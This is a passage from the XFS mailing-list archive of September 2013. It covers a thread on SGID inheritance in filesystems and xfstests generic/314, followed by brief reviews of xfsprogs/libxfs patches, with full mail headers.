rules version 3.2.2.140364 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Eric, On 09/05/2013 06:30 PM, Eric Sandeen wrote: > On 8/30/13 7:19 AM, Vasily Isaenko wrote: >> Dear XFS Members, >> >> In the XFS test suite there is a test case generic/314 "Test SGID inheritance on subdirectories". >> It is not specific to a particular filesystem thus selected for both xfs or ext4 test runs. >> In other words, the same behaviour is expected and enforced for XFS and EXT4. > Yep, and it passes on both of them, as well as on ext3, ext2, btrfs, and gfs2... > >> However, I have been told that EXT4 and XFS may have different behaviour as the >> setgid-directory behavior is not guaranteed to work the same way on all filesystems. > "I have been told" ... I'm guessing that you have tested a filesystem which doesn't > behave this way? Which one? yes, the generic/314 test has failed on xfs while passed on ext4 though. if this is intentional behaviour on xfs it is fine, but would it be possible to make this test skipped on xfs then? Thank you, Vasily > >> Shall XFS test case reflect that difference or enforcing the same behaviour is appropriate? > If you have information that a filesystem exists which does not inherit SGID, and > that this behavior is intentional and correct and standards-compliant, then feel > free to submit a patch. > > However, I think you'll need to have a convincing argument against the man pages. > > chmod(2) says: > > S_ISGID (02000) set-group-ID (set process effective group ID on > execve(2); mandatory locking, as described in fcntl(2); > take a new file’s group from parent directory, as > described in chown(2) and mkdir(2)) > > mkdir(2) says: > > The newly created directory will be owned by the effective user ID of the > process. If the directory containing the file has the set-group-ID bit > set, or if the file system is mounted with BSD group semantics (mount -o > bsdgroups or, synonymously mount -o grpid), the new directory will inherit > the group ownership from its parent; otherwise it will be owned by the > effective group ID of the process. > > and chown(2) says: > > NOTES > When a new file is created (by, for example, open(2) or mkdir(2)), its > owner is made the same as the file system user ID of the creating process. > The group of the file depends on a range of factors, including the type of > file system, the options used to mount the file system, and whether or not > the set-group-ID permission bit is enabled on the parent directory. If the > file system supports the -o grpid (or, synonymously -o bsdgroups) and > -o nogrpid (or, synonymously -o sysvgroups) mount(8) options, then the > rules are as follows: > > * If the file system is mounted with -o grpid, then the group of a new file > is made the same as that of the parent directory. > > * If the file system is mounted with -o nogrpid and the set-group-ID bit is > disabled on the parent directory, then the group of a new file is made > the same as the process’s file system GID. > > * If the file system is mounted with -o nogrpid and the set-group-ID bit is > enabled on the parent directory, then the group of a new file is made the > same as that of the parent directory. > > Thanks, > Eric > >> Best regards, >> Vasily >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs >> > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Thu Sep 5 09:41:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9C4F37F5A for ; Thu, 5 Sep 2013 09:41:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83D1A304067 for ; Thu, 5 Sep 2013 07:41:10 -0700 (PDT) X-ASG-Debug-ID: 1378392069-04cbb02c3ed69d80001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id k3qCMnhBNTDlgxYr for ; Thu, 05 Sep 2013 07:41:09 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CFCDA60A0D81; Thu, 5 Sep 2013 09:41:08 -0500 (CDT) Message-ID: <52289805.5040302@sandeen.net> Date: Thu, 05 Sep 2013 09:41:09 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Vasily Isaenko CC: xfs@oss.sgi.com Subject: Re: SGID inheritance in different file-systems References: <52208DC0.2030805@oracle.com> <52289569.1070107@sandeen.net> <5228963B.9010404@oracle.com> X-ASG-Orig-Subj: Re: SGID inheritance in different file-systems In-Reply-To: <5228963B.9010404@oracle.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378392069 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140364 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/5/13 9:33 AM, Vasily Isaenko wrote: > Hi Eric, > > On 09/05/2013 06:30 PM, Eric Sandeen wrote: >> On 8/30/13 7:19 AM, Vasily Isaenko wrote: >>> Dear XFS Members, >>> >>> In the XFS test suite there is a test case generic/314 "Test SGID inheritance on subdirectories". >>> It is not specific to a particular filesystem thus selected for both xfs or ext4 test runs. >>> In other words, the same behaviour is expected and enforced for XFS and EXT4. >> Yep, and it passes on both of them, as well as on ext3, ext2, btrfs, and gfs2... >> >>> However, I have been told that EXT4 and XFS may have different behaviour as the >>> setgid-directory behavior is not guaranteed to work the same way on all filesystems. >> "I have been told" ... I'm guessing that you have tested a filesystem which doesn't >> behave this way? Which one? > > yes, the generic/314 test has failed on xfs while passed on ext4 though. > > if this is intentional behaviour on xfs it is fine, but would it be possible to > make this test skipped on xfs then? no... When a test fails, you don't just turn it off; you figure out why it failed. Indeed, this test was written _because_ xfs failed, was fixed, and the test serves as a regression test to be sure it doesn't ever fail again. If you're testing an older kernel, presumably it doesn't have the fix. If you're testing a newer kernel, something else is wrong, because it passes for me just fine on xfs, upstream. Thanks, -Eric > Thank you, > Vasily > >> >>> Shall XFS test case reflect that difference or enforcing the same behaviour is appropriate? >> If you have information that a filesystem exists which does not inherit SGID, and >> that this behavior is intentional and correct and standards-compliant, then feel >> free to submit a patch. >> >> However, I think you'll need to have a convincing argument against the man pages. >> >> chmod(2) says: >> >> S_ISGID (02000) set-group-ID (set process effective group ID on >> execve(2); mandatory locking, as described in fcntl(2); >> take a new file’s group from parent directory, as >> described in chown(2) and mkdir(2)) >> >> mkdir(2) says: >> >> The newly created directory will be owned by the effective user ID of the >> process. If the directory containing the file has the set-group-ID bit >> set, or if the file system is mounted with BSD group semantics (mount -o >> bsdgroups or, synonymously mount -o grpid), the new directory will inherit >> the group ownership from its parent; otherwise it will be owned by the >> effective group ID of the process. >> >> and chown(2) says: >> >> NOTES >> When a new file is created (by, for example, open(2) or mkdir(2)), its >> owner is made the same as the file system user ID of the creating process. >> The group of the file depends on a range of factors, including the type of >> file system, the options used to mount the file system, and whether or not >> the set-group-ID permission bit is enabled on the parent directory. If the >> file system supports the -o grpid (or, synonymously -o bsdgroups) and >> -o nogrpid (or, synonymously -o sysvgroups) mount(8) options, then the >> rules are as follows: >> >> * If the file system is mounted with -o grpid, then the group of a new file >> is made the same as that of the parent directory. >> >> * If the file system is mounted with -o nogrpid and the set-group-ID bit is >> disabled on the parent directory, then the group of a new file is made >> the same as the process’s file system GID. >> >> * If the file system is mounted with -o nogrpid and the set-group-ID bit is >> enabled on the parent directory, then the group of a new file is made the >> same as that of the parent directory. >> >> Thanks, >> Eric >> >>> Best regards, >>> Vasily >>> >>> _______________________________________________ >>> xfs mailing list >>> xfs@oss.sgi.com >>> http://oss.sgi.com/mailman/listinfo/xfs >>> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > From vasily.isaenko@oracle.com Thu Sep 5 09:44:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B9D617F52 for ; Thu, 5 Sep 2013 09:44:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83B9D30407F for ; Thu, 5 Sep 2013 07:44:42 -0700 (PDT) X-ASG-Debug-ID: 1378392280-04bdf02f21da33f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id fuLoB6LoxzIzYTUp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Sep 2013 07:44:41 -0700 (PDT) X-Barracuda-Envelope-From: vasily.isaenko@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r85EidbN015452 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 14:44:40 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r85Eid0q023532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 14:44:39 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r85EicuU029860; Thu, 5 Sep 2013 14:44:38 GMT Received: from [10.162.81.60] (/10.162.81.60) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 05 Sep 2013 07:44:38 -0700 Message-ID: <52289853.7010907@oracle.com> Date: Thu, 05 Sep 2013 18:42:27 +0400 From: Vasily Isaenko User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: SGID inheritance in different file-systems References: <52208DC0.2030805@oracle.com> <52289569.1070107@sandeen.net> <5228963B.9010404@oracle.com> <52289805.5040302@sandeen.net> X-ASG-Orig-Subj: Re: SGID inheritance in different file-systems In-Reply-To: <52289805.5040302@sandeen.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1378392281 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140364 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thank you Eric and Carlos for your responses! On 09/05/2013 06:41 PM, Eric Sandeen wrote: > On 9/5/13 9:33 AM, Vasily Isaenko wrote: >> Hi Eric, >> >> On 09/05/2013 06:30 PM, Eric Sandeen wrote: >>> On 8/30/13 7:19 AM, Vasily Isaenko wrote: >>>> Dear XFS Members, >>>> >>>> In the XFS test suite there is a test case generic/314 "Test SGID inheritance on subdirectories". >>>> It is not specific to a particular filesystem thus selected for both xfs or ext4 test runs. >>>> In other words, the same behaviour is expected and enforced for XFS and EXT4. >>> Yep, and it passes on both of them, as well as on ext3, ext2, btrfs, and gfs2... >>> >>>> However, I have been told that EXT4 and XFS may have different behaviour as the >>>> setgid-directory behavior is not guaranteed to work the same way on all filesystems. >>> "I have been told" ... I'm guessing that you have tested a filesystem which doesn't >>> behave this way? Which one? >> yes, the generic/314 test has failed on xfs while passed on ext4 though. >> >> if this is intentional behaviour on xfs it is fine, but would it be possible to >> make this test skipped on xfs then? > no... > > When a test fails, you don't just turn it off; you figure out why it failed. > > Indeed, this test was written _because_ xfs failed, was fixed, and the > test serves as a regression test to be sure it doesn't ever fail again. > > If you're testing an older kernel, presumably it doesn't have the fix. > If you're testing a newer kernel, something else is wrong, because it > passes for me just fine on xfs, upstream. > > Thanks, > -Eric > >> Thank you, >> Vasily >> >>>> Shall XFS test case reflect that difference or enforcing the same behaviour is appropriate? >>> If you have information that a filesystem exists which does not inherit SGID, and >>> that this behavior is intentional and correct and standards-compliant, then feel >>> free to submit a patch. >>> >>> However, I think you'll need to have a convincing argument against the man pages. >>> >>> chmod(2) says: >>> >>> S_ISGID (02000) set-group-ID (set process effective group ID on >>> execve(2); mandatory locking, as described in fcntl(2); >>> take a new file’s group from parent directory, as >>> described in chown(2) and mkdir(2)) >>> >>> mkdir(2) says: >>> >>> The newly created directory will be owned by the effective user ID of the >>> process. If the directory containing the file has the set-group-ID bit >>> set, or if the file system is mounted with BSD group semantics (mount -o >>> bsdgroups or, synonymously mount -o grpid), the new directory will inherit >>> the group ownership from its parent; otherwise it will be owned by the >>> effective group ID of the process. >>> >>> and chown(2) says: >>> >>> NOTES >>> When a new file is created (by, for example, open(2) or mkdir(2)), its >>> owner is made the same as the file system user ID of the creating process. >>> The group of the file depends on a range of factors, including the type of >>> file system, the options used to mount the file system, and whether or not >>> the set-group-ID permission bit is enabled on the parent directory. If the >>> file system supports the -o grpid (or, synonymously -o bsdgroups) and >>> -o nogrpid (or, synonymously -o sysvgroups) mount(8) options, then the >>> rules are as follows: >>> >>> * If the file system is mounted with -o grpid, then the group of a new file >>> is made the same as that of the parent directory. >>> >>> * If the file system is mounted with -o nogrpid and the set-group-ID bit is >>> disabled on the parent directory, then the group of a new file is made >>> the same as the process’s file system GID. >>> >>> * If the file system is mounted with -o nogrpid and the set-group-ID bit is >>> enabled on the parent directory, then the group of a new file is made the >>> same as that of the parent directory. >>> >>> Thanks, >>> Eric >>> >>>> Best regards, >>>> Vasily >>>> >>>> _______________________________________________ >>>> xfs mailing list >>>> xfs@oss.sgi.com >>>> http://oss.sgi.com/mailman/listinfo/xfs >>>> >>> _______________________________________________ >>> xfs mailing list >>> xfs@oss.sgi.com >>> http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Thu Sep 5 10:25:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C1D817F4E for ; Thu, 5 Sep 2013 10:25:37 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id A13768F8035; Thu, 5 Sep 2013 08:25:34 -0700 (PDT) Message-ID: <5228A26E.1040202@sgi.com> Date: Thu, 05 Sep 2013 10:25:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 02/55] xfsprogs: port inode create transaction changes References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-3-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Bring across the relevant parts of the new inode create transaction > sufficient to keep kernel/user code in sync and implement the > infrastructure needed to make it work in xfsprogs. > > Signed-off-by: Dave Chinner > --- Same as previous posting. I said in the last patch posting that this had "parts of kernel commits 28c8e41a, ddf6ad01, b8402b47?, and b8402b47". I did not thoroughly review the previous posting of this patch, so I am looking at it closer now. There arguement difference in xfs_ialloc_get_rec() from Linux 3.11, but that is needed for patch 11. Still looks good to me. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:29:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D1AD37F4E for ; Thu, 5 Sep 2013 10:29:22 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id B1945304071; Thu, 5 Sep 2013 08:29:19 -0700 (PDT) Message-ID: <5228A34F.6060404@sgi.com> Date: Thu, 05 Sep 2013 10:29:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 03/55] xfsprogs: teach logprint about icreate transaction References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-4-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- No change to patch from last posting. When reviewing the patch before I said, "xfs_logprint can print the icreate log items. good layout of information." Still looks good to me. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:36:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 569D87F4E for ; Thu, 5 Sep 2013 10:36:06 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 220A08F804B; Thu, 5 Sep 2013 08:36:06 -0700 (PDT) Message-ID: <5228A4E5.4020409@sgi.com> Date: Thu, 05 Sep 2013 10:36:05 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 04/55] libxfs: fix directory/attribute format issues References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-5-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-5-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > directory data headers and attr leaf headers need padding for 32 bit > systems to correctly align the data sections on 64 bit boundaries. > > Signed-off-by: Dave Chinner > --- This patch has not changed since the last posting. It brings xfsprogs to kernel commit 5170711d Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:37:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A0D4C7F51 for ; Thu, 5 Sep 2013 10:37:13 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CA918F8035; Thu, 5 Sep 2013 08:37:13 -0700 (PDT) Message-ID: <5228A528.1060907@sgi.com> Date: Thu, 05 Sep 2013 10:37:12 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 05/55] libxfs: ensure btree root split sets blkno correctly References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-6-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-6-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > For CRC enabled filesystems, the BMBT is rooted in an inode, so it > passes through a difference code path on root splits to the > freespace and inode btrees. The inode based btree root has a > corruption problem on split - it's the same problem we saw in the > directory/attr code where headers are memcpy()d from one block to > another without updating the self describing metadata. > > Simple fix - when copying the header out of the root block, make > sure the block number is updated correctly. > > Signed-off-by: Dave Chinner > --- This patch has not changed since last posting. It brings xfsprogs to kernel commit ade1335a Review-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:41:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3528B7F51 for ; Thu, 5 Sep 2013 10:41:04 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id F2D50304084; Thu, 5 Sep 2013 08:41:03 -0700 (PDT) Message-ID: <5228A60F.7010406@sgi.com> Date: Thu, 05 Sep 2013 10:41:03 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 06/55] libxfs: fix byte swapping on constants References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-7-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-7-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The kernel code uses cpu_to_beXX() on constants in switch() > statements for magic numbers in the btree code. Th ebyte swapping > infratructure isn't hooked up to the proper byte swap macros to make > this work, so fix it and then swap all the generic btree code over > to match the kernel code. > > Signed-off-by: Dave Chinner > --- Patch has not changed since last posting. sync to include/uapi/linux/swab.h and switch/case statements in xfs_allocbt_verify() like kernel commit ee1a47ab. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:46:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A32CC7F59 for ; Thu, 5 Sep 2013 10:46:58 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 608A930408A; Thu, 5 Sep 2013 08:46:58 -0700 (PDT) Message-ID: <5228A771.2090809@sgi.com> Date: Thu, 05 Sep 2013 10:46:57 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 07/55] libxfs: sync xfs_da_btree.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-8-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-8-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Some variables we renamed in the kernel code, and there are a few > other minor differences. Fix them up. > > Signed-off-by: Dave Chinner > --- Patch has not changed since last posting. My review back then was [] is added to make sense of the comments: okay, only difference [between the kernel/user source files] is the initializing of the pagb_tree in xfs_alloc_read_agf() [it is not in the xfsprogs]. [Okay, because we] Don't use the busy extent tree in user space. Still looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:52:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF4557F58 for ; Thu, 5 Sep 2013 10:52:34 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8977530408A; Thu, 5 Sep 2013 08:52:34 -0700 (PDT) Message-ID: <5228A8C1.2000102@sgi.com> Date: Thu, 05 Sep 2013 10:52:33 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 07/55] libxfs: sync xfs_da_btree.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-8-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-8-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Some variables we renamed in the kernel code, and there are a few > other minor differences. Fix them up. > > Signed-off-by: Dave Chinner > --- Opps put patch 8 comment on patch 7. This also did not change in this repost. And the patch really changed variable names in xfs_da3_node_unbalance(). add directory allocation NOFS per kernel commit b17cb364 Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:53:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 274B37F58 for ; Thu, 5 Sep 2013 10:53:17 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id E90DE304089; Thu, 5 Sep 2013 08:53:16 -0700 (PDT) Message-ID: <5228A8EC.5010407@sgi.com> Date: Thu, 05 Sep 2013 10:53:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 08/55] libxfs: update xfs_alloc to current kernel version References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-9-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-9-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- Patch has not changed since last post. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 10:59:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B78977F4E for ; 